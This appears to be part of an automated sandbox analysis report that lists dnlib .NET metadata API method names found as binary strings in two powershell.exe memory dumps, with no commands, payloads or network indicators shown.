                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
